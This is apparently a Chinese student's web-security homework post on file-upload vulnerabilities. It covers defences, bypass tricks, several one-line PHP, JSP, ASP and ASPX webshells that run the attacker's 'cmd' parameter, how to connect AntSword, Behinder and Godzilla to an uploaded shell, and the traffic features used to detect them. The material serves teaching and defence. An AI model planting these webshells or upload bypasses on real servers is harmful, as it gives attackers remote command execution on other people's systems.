第七次作业

1. 文件上传防御手段及绕过手段总结

文件上传防御手段总结

  1. 文件类型检查

    • 服务器应仅允许上传预定义的安全文件类型列表中的文件,如常见的图片、文档和视频格式,验证文件的 MIME 类型和扩展名,以确保上传的是允许的文件类型。
    • 使用 finfo 类库来获取文件的实际 MIME 类型。
  2. 限制文件大小:设置最大文件上传大小,以防止上传过大的文件。

  3. 文件名处理

    • 避免使用用户提供的文件名,生成唯一文件名以避免覆盖。
    • 去除文件名中的特殊字符,防止路径遍历攻击。
  4. 存储位置

    • 将文件存储在不直接暴露给 Web 的目录下,防止执行。
    • 不允许特定目录下的文件执行,如 /uploads/
  5. 权限管理:确保上传目录的权限设置正确,限制对文件的执行权限。

  6. 文件扫描:使用病毒扫描工具检查上传的文件是否包含恶意代码。

  7. 验证码和身份验证:使用验证码或用户身份验证机制来限制上传行为。

  8. 后处理:对上传的文件进行后处理,对上传的文件进行重命名,避免使用用户提供的文件名,以减少安全风险。如清理脚本标签或恶意代码。

绕过手段总结

  1. 文件扩展名伪造:攻击者可能将恶意文件伪装成合法文件,例如使用 .jpg 扩展名上传实际为 PHP 脚本的文件。

  2. MIME 类型欺骗:攻击者可能伪造文件的 MIME 类型,使其看起来像是合法文件。

  3. 双扩展名:使用双扩展名(如 file.php.jpg)绕过扩展名检查。

  4. 路径遍历:利用路径遍历攻击(如 ../../uploads/evil.php)来访问或覆盖文件。

  5. 空文件上传:上传空文件或看似合法的文件,然后使用其他方式(如修改文件后缀)来执行恶意代码。

  6. 文件内容注入:在允许上传的文件中注入恶意代码(如 HTML 注入)并通过后续访问触发。

  7. 使用隐蔽目录:将文件上传到 Web 服务器上不容易被发现的隐藏目录中。

2. 文件上传常用一句话木马

一句话木马通常是通过简单的 PHP 代码实现的恶意脚本,常见的例子是:

<?php system($_GET['cmd']); ?>

这个脚本允许攻击者通过 cmd 参数执行任意系统命令。上传这种木马的防御方法包括限制文件类型、文件名、检查文件内容以及存储上传文件的安全位置。

<?php passthru($_POST['cmd']); ?>

passthru函数执行指定的命令并直接将输出结果返回给用户。

<?php exec($_GET['cmd']); ?>

exec函数执行命令并返回结果。

<?php shell_exec($_POST['cmd']); ?>

shell_exec函数也执行系统命令,并返回执行结果。

<?php eval(base64_decode($_POST['code'])); ?>

这个例子首先将POST请求中的code参数解码为Base64,然后使用eval函数执行解码后的PHP代码。

JSP木马:

<%= new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine() %>

这个JSP脚本执行从cmd参数中获得的命令并返回输出结果。

ASP木马:

<% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>

这个ASP代码执行查询字符串cmd中的命令,并输出执行结果。

ASPX木马:

<% Response.Write(System.Diagnostics.Process.Start(Request.QueryString["cmd"]).StandardOutput.ReadToEnd()); %>

这个ASPX代码执行从查询字符串cmd中获得的命令,并输出执行结果。

3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

1.antsword

将木马后缀改为png上传

用bs抓包,改文件后缀名后放行

找到文件保存路径

蚁剑添加数据后抓包

发送到编码器,base64解码

流量包特征:

使用url加密,user-agent的值为antsword字段,每个数据包前面都会包含@ini_set("display_errors", "0");@set_time_limit(0);这两个语句;

2.behinder

生成木马

配置冰蝎(Behinder)shell信息,其中URL地址为刚刚上传一句话木马的地址

Burp Suite抓取冰蝎数据包 

设置代理

冰蝎连接进入目录文件,用bs查看流量特征

流量特征

  1. Accept 字段Accept: application/json, text/javascript, /; q=0.01:这个字段表示客户端(通常是浏览器)希望接收的内容类型,中 application/json 和 text/javascript 的权重较高,*/* 的权重较低。这种特征可以用来判断请求是否可能由某种自动化工具生成。

  2. Content-Type 字段Content-Type: application/x-www-form-urlencoded:这是表单数据的标准内容类型,通常用于提交表单数据。Behinder WebShell 可能使用这种内容类型来发送命令或数据。

  3. 随机 User-Agent:冰蝎(类似于 Behinder)的 WebShell 可能设置了多个 User-Agent 字符串,并在每次请求时随机选择一个。这种特征有助于掩盖其真实身份和活动。检测到频繁变化的 User-Agent 字符串可以作为潜在的 WebShell 活动的一个线索。

3.godzilla

  1. User-Agent: 默认是 Java/1.8.0_xxx,可以自定义。

  2. Accept: 特征为 text/html, image/gif, image/jpeg, *; q=.2, /; q=.2,较弱但可以用作补充判断。

  3. Cookie: 特征是末尾的分号,较为显著,能有效识别Godzilla客户端。

  4. 请求体特征: 包括加密数据的base64编码和原始加密raw格式。base64编码的响应体有固定特征:md5前十六位+base64+md5后十六位。需要注意对不同编码格式的请求体进行匹配。

4. 文件上传无回显如何查找webshell地址

1. 目录遍历

手动检查:尝试访问已知目录中的文件,例如 http://xxxx.com/uploads/自动化工具:使用目录扫描工具(如 DirBusterDirsearchGobuster)自动化尝试访问可能的目录和文件。

2. 日志分析

查看服务器日志:检查 web 服务器的访问日志和错误日志,可能会发现有关上传文件的路径信息。分析上传记录:如果有其他日志记录上传操作,查看这些记录可能会提供文件存储位置的线索。

3. 文件系统扫描

使用工具扫描:如果有访问服务器的权限,可以使用文件系统扫描工具来查找上传的文件。手动查找:在服务器上查找可能的上传目录,如 /var/www/html/uploads/ 或其他默认路径。

 4查看上传处理代码

检查文件保存路径:找到处理文件上传的代码,查看文件保存到哪里。通常,上传文件的路径可能存储在服务器上的某个目录中。权限设置:确认文件保存目录的权限设置,确保上传的文件是否可以被访问或执行。

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

1. 无参文件上传表单

<form action="/upload" method="post" enctype="multipart/form-data">
  <input type="file" name="file" />
  <input type="submit" value="Upload" />
</form>

2. 有参文件上传表单

<form action="/upload" method="post" enctype="multipart/form-data">
  <input type="hidden" name="userId" value="12345" />
  <input type="hidden" name="sessionToken" value="abcde12345" />
  <input type="file" name="file" />
  <input type="submit" value="Upload" />
</form>

在有参的情况下,我们可以添加隐藏字段以传递额外的数据,如用户ID或会话令牌,这些参数可能在处理上传时需要进行验证或记录。

  • 无参表单:用于简单的文件上传,用户只需选择文件并提交。
  • 有参表单:用于上传文件的同时传递额外的参数(如用户 ID 或会话令牌),这些参数可能用于服务器端的进一步处理。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值